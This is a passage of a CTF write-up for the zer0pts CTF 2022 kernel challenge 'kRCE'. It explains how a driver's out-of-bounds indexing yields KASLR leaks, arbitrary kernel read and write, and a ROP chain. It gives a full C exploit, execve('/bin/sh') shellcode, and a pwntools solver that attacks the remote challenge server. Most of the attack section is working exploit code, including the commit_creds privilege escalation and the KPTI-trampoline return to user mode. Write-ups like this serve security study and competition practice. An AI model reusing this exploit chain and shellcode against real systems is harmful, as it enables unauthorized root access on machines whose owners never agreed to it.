call_usermodehelper
- the userland interface restricts you to only the 4 ioctls that interact with the driver.Now I need to achieve a KASLR leak given a module leak. To do this, I
utilized the pointer in 0xffffffffc02ae3e0, which points to module_cleanup
, the destructor function for this driver. When the kernel loads a module, it automatically patches in addresses for external kernel/module function calls. module_cleanup
calls cdev_del
,
a kernel function, so I can grab a kernel text leak by arb reading its
disassembly at run time and looking at the relative offset used in the call instruction.
Here is the C exploit so far:
show(fd, -8, 0x40, buffer); hexprint(buffer, 0x40); uint64_t module_data_base = *(uint64_t *)&buffer[0] - 0x3c0; uint64_t module_text_base = module_data_base - 0x2000; printf("kernel module data base: 0x%llx\n", module_data_base); printf("kernel module text base: 0x%llx\n", module_text_base); show(fd, -4, 0x20, buffer); hexprint(buffer, 0x20); int32_t relative_rip = *(int32_t*)(&buffer[0xc]); uint64_t kernel_base = module_text_base + 0x20b + relative_rip - 0x14e240; printf("kernel base: 0x%llx\n", kernel_base);
Now we can work on building an arbitrary read and arbitrary write primitive. To do this, I used negative indexing into one of the earlier self pointers to overwrite index 1 of the buffer array to point to the address of index 0. This would allow me to easily forge addresses from index 1 to arbitrarily read and write via index 0.
uint64_t evil[] = {module_data_base+0x3c0, module_data_base+0x3c0, module_data_base+0x3d0, module_data_base+0x3d0, module_text_base+0x1fb, 1, 0, 0, 0, module_data_base+0x400}; edit(fd, -8, sizeof(evil), (char *)&evil);
Arbitrary read and write in the kernel with KASLR bypassed… this should
be quite trivial to pwn now right? Unfortunately, this is where the
limited userland heap note interface affects us. As mentioned earlier,
we can’t overwrite strings used in call_usermodehelper
; if you were to overwrite for example modprobe_path or
core_pattern
, how could you trigger it from the safe userland interface? The classic privilege escalation ROP payload with just commit_creds
wouldn’t work either as this heap interface doesn’t have a shell popping function to return to.
For now, I decided to first find the userland interface’s task struct as
this could contain information that would lead to interesting
avenues of exploitation. Even though the kernel doesn’t export data
symbols, we can find task struct pretty easily based on start_kernel
. As the interface is probably the last process launched, we can just walk once on the prev pointer in the tasks list_head
. I can verify this via the comm
field (which should hold the process name). In the snippet below, it is
the name of my C exploit rather than the interface binary.
uint64_t init_task = kernel_base + 0xe12580; printf("init_task: 0x%llx\n", init_task); uint64_t task_ll = init_task + 0x2f8; edit(fd, 1, sizeof(uint64_t), &task_ll); uint64_t curr_task; show(fd, 0, sizeof(uint64_t), &curr_task); edit(fd, 1, sizeof(uint64_t), &curr_task); show(fd, 0, 0x500, buffer); assert(memmem(buffer, 0x500, "exploit", 7)); curr_task -= 0x2f0; printf("current task: 0x%llx\n", curr_task);
Looking at task_struct
, I noticed an interesting field. Specifically there is a stack
pointer
that points to a location at a relatively close and constant
offset from the value of rsp in kernel when our specific userland
process triggers a switch into kernel mode. There’s probably more to the field than just this, but it’s enough for our exploitation purposes.
With that field, we should be able to ROP when the module ioctl handler returns. I made my ROP chain escalate creds, change permissions of the userland process to rwx, and write our own shellcode into it before having the handler trampoline back. This would allow us to pop a shell on the safe userland interface as we just rewrote its memory from kernelspace.
One last issue is that the userland binary has ASLR and PIE. To find out the addresses to abuse in userland, we can arb read the kernel stack during an ioctl as syscall handlers would have pushed userspace registers. We can easily grab a userland PIE (or userland ASLR library address) and stack pointer from this.
uint64_t stack_ptr = curr_task + 0x20; uint64_t stack = 0; edit(fd, 1, sizeof(uint64_t), &stack_ptr); show(fd, 0, sizeof(uint64_t), &stack); printf("current thread stack: 0x%llx\n", stack); uint64_t syscall_stack = stack + 0x3e88; edit(fd, 1, sizeof(uint64_t), &syscall_stack); show(fd, 0, 0x150, buffer); hexprint(buffer, 0x150); uint64_t userland_pie = 0; uint64_t userland_stack = 0; memcpy(&userland_pie, &buffer[0x128], sizeof(uint64_t)); memcpy(&userland_stack, &buffer[0x130], sizeof(uint64_t)); printf("userland pie: 0x%llx\n", userland_pie); printf("userland stack: 0x%llx\n", userland_stack);
From here on out, the exploit will be quite simple. We want to commit_creds(init_cred)
, utilize do_mprotect_pkey
to make our leaked userland PIE’s page rwx (this is the internal function used by __x64_sys_mprotect
), and then copy_to_user
shellcode there. To store shellcode for the kernel to user copy, I
allocated a buffer from driver to store it and leaked its heap
address. After those ROP chain operations, I utilized the classic kpti
trampoline from swapgs_restore_regs_and_return_to_usermode
to return back to our rwx page.
Here is the final snippet of the C exploit:
uint64_t sc_leaker = module_data_base + 0x410; add(fd, 2, 0x1000); edit(fd, 1, sizeof(uint64_t), &sc_leaker); char sc_buf[0x1000] = {0x0}; memset(sc_buf, 0x90, sizeof(sc_buf)); char sc[] = "\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05"; memcpy(&sc_buf[sizeof(sc_buf) - 1 - sizeof(sc)], sc, sizeof(sc)); edit(fd, 2, sizeof(sc_buf), sc_buf); uint64_t sc_leak = 0; show(fd, 0, sizeof(uint64_t), &sc_leak); printf("shellcode buffer leak: 0x%llx\n", sc_leak); uint64_t stored_rip = stack + 0x3eb0; edit(fd, 1, sizeof(uint64_t), &syscall_stack); uint64_t kpti_trampoline = kernel_base + (0xffffffff81800e10ull - 0xffffffff81000000ull) + 0x16; uint64_t copy_to_user = kernel_base + (0xffffffff81269780ull - 0xffffffff81000000ull); uint64_t do_mprotect_pkey = kernel_base + (0xffffffff811224f0 - 0xffffffff81000000ull); uint64_t poprdi = kernel_base + (0xffffffff8114078aull - 0xffffffff81000000ull); uint64_t poprsi = kernel_base + (0xffffffff810ce28eull - 0xffffffff81000000ull); uint64_t poprdx = kernel_base + (0xffffffff81145369ull - 0xffffffff81000000ull); uint64_t poprcx = kernel_base + (0xffffffff810eb7e4ull - 0xffffffff81000000ull); uint64_t init_cred = kernel_base + (0xffffffff81e37a60ull - 0xffffffff81000000ull); uint64_t commit_cred = kernel_base + (0xffffffff810723c0ull - 0xffffffff81000000ull); printf("do_mprotect_pkey: 0x%llx\n", do_mprotect_pkey); uint64_t rop[] = { poprdi, (userland_pie & 0xfffffffffffff000), poprsi, 0x1000, poprdx, 7, poprcx, 0xffffffffffffffff, do_mprotect_pkey, poprdi, (userland_pie & 0xfffffffffffff000), poprsi, sc_leak, poprdx, 0x1000, copy_to_user, poprdi, init_cred, commit_cred, kpti_trampoline, 0xbaadf00d, 0xdeadbeef, (userland_pie & 0xfffffffffffff000), 0x33, 0x200, userland_stack, 0x2b, }; edit(fd, 0, sizeof(rop), &rop);
My teammate Ryaagard helped port it over to Python pwntools script to interface with the remote instance. Here is our final solver:
#!/usr/bin/env python3 from pwn import * binary = "./interface" elf = context.binary = ELF(binary) context.newline = b'\r\n' sla = lambda x, y: p.sendlineafter(x, y) sl = lambda x: p.sendline(x) ru = lambda x: p.recvuntil(x) def add(index, size): sla('> ', '1') sla('index: ', str(index)) sla('size: ', str(size)) def edit(index, data): buf = '' for b in data: buf += str(hex(b)[2:].rjust(2, '0')) sla('> ', '2') sla('index: ', str(index)) sla('size: ', str(len(buf)//2)) sla('data: ', buf) def show(index, size): sla('> ', '3') sla('index: ', str(index)) sla('size: ', str(size)) def free(index): sla('> ', '4') sla('index: ', str(index)) def getleak(): buf = b'' ru('Data: ') leak = ru('\n')[:-1].split() for b in leak: buf += p8(int(b, 16)) return buf p = remote("pwn3.ctf.zer0pts.com", 9009) cmd = ru('\n').strip().split() print(cmd) x = process(cmd) pow = x.recv().strip().split()[2] x.close() print(pow) ru('token: ') p.send(pow + b'\n') show(-8, 0x40) buf = getleak() print(hexdump(buf)) module_data_base = u64(buf[:8]) - 0x3c0 module_text_base = module_data_base - 0x2000 log.success('module_data_base: %#X' % module_data_base) log.success('module_text_base: %#X' % module_text_base) show(-4, 0x20) buf = getleak() print(hexdump(buf)) relative_rip = u32(buf[0xc:0xc+4]) log.info('rel rip: %#X' % relative_rip) kernel_base = (module_text_base + 0x20b + relative_rip - 0x14e240) % 0xfff00000 | (0xffffffff << 32); kernel_base -= 0x10000000; log.success('kernel base: %#X' % kernel_base) evil = p64(module_data_base+0x3c0) * 2 evil += p64(module_data_base+0x3d0) * 2 evil += p64(module_text_base+0x1fb) evil += p64(1) evil += p64(0) * 3 evil += p64(module_data_base+0x400) print(hexdump(evil)) edit(-8, evil) init_task = kernel_base + 0xe12580; log.success('info_task: %#X' % init_task) task_ll = init_task + 0x2f8 edit(1, p64(task_ll)) show(0, 8) curr_task = u64(getleak()) edit(1, p64(curr_task)) show(0, 0x500) buf = getleak() assert b'interface' in buf curr_task -= 0x2f0 log.success('curr_task: %#X' % curr_task) stack_ptr = curr_task + 0x20 edit(1, p64(stack_ptr)) show(0, 8) stack = u64(getleak()) log.success('stack ptr: %#X' % stack) syscall_stack = stack + 0x3e88 edit(1, p64(syscall_stack)) show(0, 0x150) buf = getleak() print(hexdump(buf)) userland_pie = u64(buf[0x128:0x130]) userland_stack = u64(buf[0x130:0x138]) log.success('userland_pie: %#x' % userland_pie) log.success('userland_stack: %#x' % userland_stack) sc_leaker = module_data_base + 0x410 add(2, 0x500) edit(1, p64(sc_leaker)) sc = b'\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x48\x89\xE7\x6A\x00\x57\x48\xC7\xC0\x3B\x00\x00\x00\x48\x89\xE6\x6A\x00\x48\x89\xE2\x0F\x05' sc_buf = sc.rjust(0x500, p8(0x90)) edit(2, sc_buf) show(0, 8) sc_leak = u64(getleak()) log.success('shellcode buffer leak: %#x' % sc_leak) stored_rip = stack + 0x3eb0 edit(1, p64(syscall_stack)) kpti_trampoline = kernel_base + (0xffffffff81800e10 - 0xffffffff81000000) + 0x16; copy_to_user = kernel_base + (0xffffffff81269780 - 0xffffffff81000000); do_mprotect_pkey = kernel_base + (0xffffffff811224f0 - 0xffffffff81000000); poprdi = kernel_base + (0xffffffff8114078a - 0xffffffff81000000); poprsi = kernel_base + (0xffffffff810ce28e - 0xffffffff81000000); poprdx = kernel_base + (0xffffffff81145369 - 0xffffffff81000000); poprcx = kernel_base + (0xffffffff810eb7e4 - 0xffffffff81000000); init_cred = kernel_base + (0xffffffff81e37a60 - 0xffffffff81000000); commit_cred = kernel_base + (0xffffffff810723c0 - 0xffffffff81000000); rop = b'' rop += p64(poprdi) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(poprsi) rop += p64(0x1000) rop += p64(poprdx) rop += p64(7) rop += p64(poprcx) rop += p64(0xffffffffffffffff) rop += p64(do_mprotect_pkey) rop += p64(poprdi) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(poprsi) rop += p64(sc_leak) rop += p64(poprdx) rop += p64(0x500) rop += p64(copy_to_user) rop += p64(poprdi) rop += p64(init_cred) rop += p64(commit_cred) rop += p64(kpti_trampoline) rop += p64(0xdeadbeef) rop += p64(0xcafebabe) rop += p64(userland_pie & 0xfffffffffffff000) rop += p64(0x33) rop += p64(0x200) rop += p64(userland_stack) rop += p64(0x2b) edit(0, rop) p.interactive()
And these are the results of running on remote:
When discussing solutions after the CTF, I heard of another really interesting approach to this from r4j on Super HexaGoN. Since initramfs loads into RAM, he just found a fixed offset from the heap onto portions of the filesystem to attack and edit busybox.
Overall, kRCE was quite a fun and unique challenge! zer0pts CTF 2022 definitely had some of the best CTF pwnables for the past few months. As always, feel free to point out any mistakes I may have made and ask any questions about the writeup!